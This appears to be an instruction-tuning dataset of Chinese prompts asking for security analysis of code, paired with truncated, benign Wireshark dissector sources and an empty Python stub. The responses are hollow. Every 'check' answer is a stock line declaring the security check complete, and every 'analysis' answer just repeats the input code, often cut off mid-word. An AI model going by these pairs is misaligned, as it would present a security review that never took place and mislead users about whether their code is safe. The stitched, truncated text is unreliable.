 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/epan_dissect.h>
#include "epan/epan.h"
#include "epan/column.h"
#include "epan/ftypes/ftypes.h"

#include "wiretap/wtap.h"

#include "cfile.h"
#include "file.h"
#include <ui/qt/capture_file.h>

#include "frame_tvbuff.h"

#include <stdint.h>

#include <ui/qt/utils/frame_information.h>

FrameInformation::FrameInformation(CaptureFile * capfile, frame_data * fi, QObject * parent)
:QObject(parent),
 fi_(fi),
 cap_file_(capfile),
 edt_(Q_NULLPTR)
{
    wtap_rec_init(&rec_);
    ws_buffer_init(&buf_, 1514);
    loadFrameTree();
}

void FrameInformation::loadFrameTree()
{
    if (! fi_ || ! cap_file_ || !cap_file_->capFile())
        return;

    if (!cf_read_record(cap_file_->capFile(), fi_, &rec_, &buf_))
        return;

    edt_ = g_new0(epan_dissect_t, 1);

    /* proto tree, visible. We need a proto tree if there's custom columns */
    epan_dissect_init(edt_, cap_file_->capFile()->epan, TRUE, TRUE);
    col_custom_prime_edt(edt_, &(cap_file_->capFile()->cinfo));

    epan_dissect_run(edt_, cap_file_->capFile()->cd_t, &rec_,
                     frame_tvbuff_new_buffer(&cap_file_->capFile()->provider, fi_, &buf_),
                     fi_, &(cap_file_->capFile()->cinfo));
    epan_dissect_fill_in_columns(edt_, TRUE, TRUE);
}

FrameInformation::~FrameInformation()
{
    if (edt_) {
        epan_dissect_cleanup(edt_);
        g_free(edt_);
    }
    wtap_rec_cleanup(&rec_);
    ws_buffer_free(&buf_);
}

bool FrameInformation::isValid()
{
    bool ret = false;

    if (fi_ && cap_file_ && edt_ && edt_->tvb)
    {
        ret = true;
    }

    return ret;
}

frame_data * FrameInformation::frameData() const
{
    return fi_;
}

int FrameInformation::frameNum() const
{
    if (! fi_)
        return -1;
    return fi_->num;
}

const QByteArray Fram...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-evs.c
 * Routines for EVS dissection
 * Copyright 2018, Anders Broman <anders.broman[at]ericsson.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * References:
 * 3GPP TS 26.445 A.2 EVS RTP Payload Format
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/proto_data.h>
#include <wsutil/str_util.h>
#include <wsutil/utf8_entities.h>
#include "packet-rtp.h"

void proto_register_evs(void);
void proto_reg_handoff_evs(void);

static dissector_handle_t evs_handle;

static gboolean evs_hf_only = FALSE;

/* Initialize the protocol and registered fields */
static int proto_evs = -1;
static int proto_rtp = -1;

static int hf_evs_packet_length = -1;
static int hf_evs_voice_data = -1;
static int hf_evs_h_bit = -1;
static int hf_evs_cmr_t = -1;
static int hf_evs_cmr_t0_d = -1;
static int hf_evs_cmr_t1_d = -1;
static int hf_evs_cmr_t2_d = -1;
static int hf_evs_cmr_t3_d = -1;
static int hf_evs_cmr_t4_d = -1;
static int hf_evs_cmr_t5_d = -1;
static int hf_evs_cmr_t6_d = -1;
static int hf_evs_cmr_t7_d = -1;
static int hf_evs_f_bit = -1;
static int hf_evs_mode_bit = -1;
static int hf_evs_toc_spare = -1;
static int hf_evs_amr_wb_q_bit = -1;
static int hf_evs_bit_rate_mode_0 = -1;
static int hf_evs_bit_rate_mode_1 = -1;
static int hf_evs_cmr_amr_io = -1;
static int hf_evs_bw = -1;
static int hf_evs_reserved_1bit = -1;
static int hf_evs_celp_switch_to_mdct_core = -1;
static int hf_evs_celp_mdct_core = -1;
static int hf_evs_tcx_or_hq_mdct_core = -1;
static int hf_evs_sid_cng = -1;
static int hf_evs_celp_sample_rate = -1;
static int hf_evs_core_sample_rate = -1;
static int hf_evs_132_bwctrf_idx = -1;
static int hf_evs_28_frame_type = -1;
static int hf_evs_28_bw_ppp_nelp = -1;
static int hf_evs_72_80_bwct_idx = -1;
static int hf_evs_320_bwct_idx = -1;
static int hf_evs_640_bwct_idx = -1;

static int ett_evs = -1;
static ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-evs.c
 * Routines for EVS dissection
 * Copyright 2018, Anders Broman <anders.broman[at]ericsson.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * References:
 * 3GPP TS 26.445 A.2 EVS RTP Payload Format
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/proto_data.h>
#include <wsutil/str_util.h>
#include <wsutil/utf8_entities.h>
#include "packet-rtp.h"

void proto_register_evs(void);
void proto_reg_handoff_evs(void);

static dissector_handle_t evs_handle;

static gboolean evs_hf_only = FALSE;

/* Initialize the protocol and registered fields */
static int proto_evs = -1;
static int proto_rtp = -1;

static int hf_evs_packet_length = -1;
static int hf_evs_voice_data = -1;
static int hf_evs_h_bit = -1;
static int hf_evs_cmr_t = -1;
static int hf_evs_cmr_t0_d = -1;
static int hf_evs_cmr_t1_d = -1;
static int hf_evs_cmr_t2_d = -1;
static int hf_evs_cmr_t3_d = -1;
static int hf_evs_cmr_t4_d = -1;
static int hf_evs_cmr_t5_d = -1;
static int hf_evs_cmr_t6_d = -1;
static int hf_evs_cmr_t7_d = -1;
static int hf_evs_f_bit = -1;
static int hf_evs_mode_bit = -1;
static int hf_evs_toc_spare = -1;
static int hf_evs_amr_wb_q_bit = -1;
static int hf_evs_bit_rate_mode_0 = -1;
static int hf_evs_bit_rate_mode_1 = -1;
static int hf_evs_cmr_amr_io = -1;
static int hf_evs_bw = -1;
static int hf_evs_reserved_1bit = -1;
static int hf_evs_celp_switch_to_mdct_core = -1;
static int hf_evs_celp_mdct_core = -1;
static int hf_evs_tcx_or_hq_mdct_core = -1;
static int hf_evs_sid_cng = -1;
static int hf_evs_celp_sample_rate = -1;
static int hf_evs_core_sample_rate = -1;
static int hf_evs_132_bwctrf_idx = -1;
static int hf_evs_28_frame_type = -1;
static int hf_evs_28_bw_ppp_nelp = -1;
static int hf_evs_72_80_bwct_idx = -1;
static int hf_evs_320_bwct_idx = -1;
static int hf_evs_640_bwct_idx = -1;

static int ett_evs = -1;
static ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
#
# Copyright (c) 2019-2021 Miroslav Stampar (@stamparm), MIT
# See the file 'LICENSE' for copying permission

# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.

pass


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python
#
# Copyright (c) 2019-2021 Miroslav Stampar (@stamparm), MIT
# See the file 'LICENSE' for copying permission

# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.

pass

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-stat.c
 * Routines for async NSM stat callback dissection
 * 2001 Ronnie Sahlberg <See AUTHORS for email>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "packet-rpc.h"
#include "packet-stat-notify.h"

void proto_register_statnotify(void);
void proto_reg_handoff_statnotify(void);

static int proto_statnotify = -1;
static int hf_statnotify_procedure_v1 = -1;
static int hf_statnotify_name = -1;
static int hf_statnotify_state = -1;
static int hf_statnotify_priv = -1;

static gint ett_statnotify = -1;

static int
dissect_statnotify_mon(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree, void* data _U_)
{
	int offset = 0;

	offset = dissect_rpc_string(tvb,tree,hf_statnotify_name,offset,NULL);

	offset = dissect_rpc_uint32(tvb,tree,hf_statnotify_state,offset);

	proto_tree_add_item(tree,hf_statnotify_priv,tvb,offset,16,ENC_NA);
	offset += 16;

	return offset;
}

/* proc number, "proc name", dissect_request, dissect_reply */

static const vsff statnotify1_proc[] = {
	{ 0, "NULL",
	  dissect_rpc_void, dissect_rpc_void },
	{ STATNOTIFYPROC_MON,   "MON-CALLBACK",
	  dissect_statnotify_mon, dissect_rpc_void },
	{ 0, NULL, NULL, NULL }
};
static const value_string statnotify1_proc_vals[] = {
	{ 0, "NULL" },
	{ STATNOTIFYPROC_MON,   "MON-CALLBACK" },
	{ 0, NULL }
};
/* end of stat-notify version 1 */

static const rpc_prog_vers_info statnotify_vers_info[] = {
	{ 1, statnotify1_proc, &hf_statnotify_procedure_v1 },
};

void
proto_register_statnotify(void)
{
	static hf_register_info hf[] = {
		{ &hf_statnotify_procedure_v1, {
			"V1 Procedure", "statnotify.procedure_v1", FT_UINT32, BASE_DEC,
			VALS(statnotify1_proc_vals), 0, NULL, HFILL }},
		{ &hf_statnotify_name, {
			"Name", "statnotify.name", FT_STRING, BASE_NONE,
			NULL, 0, "Name of client that changed", HFILL }},
		{ &hf_statnotify_state, {
			"State", "statn...